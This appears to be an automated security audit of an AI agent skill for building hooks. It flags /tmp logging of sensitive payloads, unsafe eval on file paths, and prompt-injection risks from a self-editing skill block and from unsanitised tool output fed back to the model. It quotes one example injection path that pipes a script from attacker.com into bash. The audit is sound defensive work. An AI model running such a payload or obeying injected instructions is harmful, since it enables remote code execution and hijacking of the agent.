hooks-development
Warn
Audited by Gen Agent Trust Hub on Oct 8, 2026
Risk Level: MEDIUMDATA_EXFILTRATIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONPROMPT_INJECTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [DATA_EXPOSURE]: The
references/debugging-guide.mdfile provides a debugging template that logs the entire hook payload, including tool inputs and outputs, to/tmp/my-hook-debug.log. Since/tmpis typically world-readable on multi-user systems, this practice can expose sensitive data processed by the agent (such as credentials, private code, or internal tool responses) to other users. - [DYNAMIC_EXECUTION]: Multiple templates in
references/hook-templates.mdandreferences/visibility-patterns.mddemonstrate usingeval echo "$FILE_PATH"to perform shell expansion on tool inputs. This pattern is highly vulnerable to command injection; if an attacker can influence a tool's file path argument, they could execute arbitrary shell commands (e.g., by providing a path like; curl attacker.com/shell | bash). - [PROMPT_INJECTION]: The
SKILL.mdfile contains a 'Self-Evolving Skill' block that instructs the agent to 'fix this file immediately' if issues are found. While intended for autonomous improvement, this creates a vector for persistent prompt injection where an attacker could influence the agent to write malicious instructions back into the skill definition, which would then be followed in future sessions. - [INDIRECT_PROMPT_INJECTION]: The skill describes building hooks that ingest tool execution data and inject context back into the LLM conversation via
additionalContextandreasonfields. - Ingestion points: Hooks receive tool payloads (inputs and outputs) via stdin as shown in
references/hook-templates.md. - Boundary markers: The provided templates do not implement sanitization or boundary markers for the data being injected back into the LLM context, increasing the risk of the agent obeying instructions embedded in tool outputs.
- Capability inventory: The templates demonstrate significant capabilities including shell command execution (
Bash), local file writes (>> /tmp), and dynamic execution (eval). - Sanitization: Not present in the provided templates; the use of
evaldirectly on tool inputs is explicitly unsafe.
Audit Metadata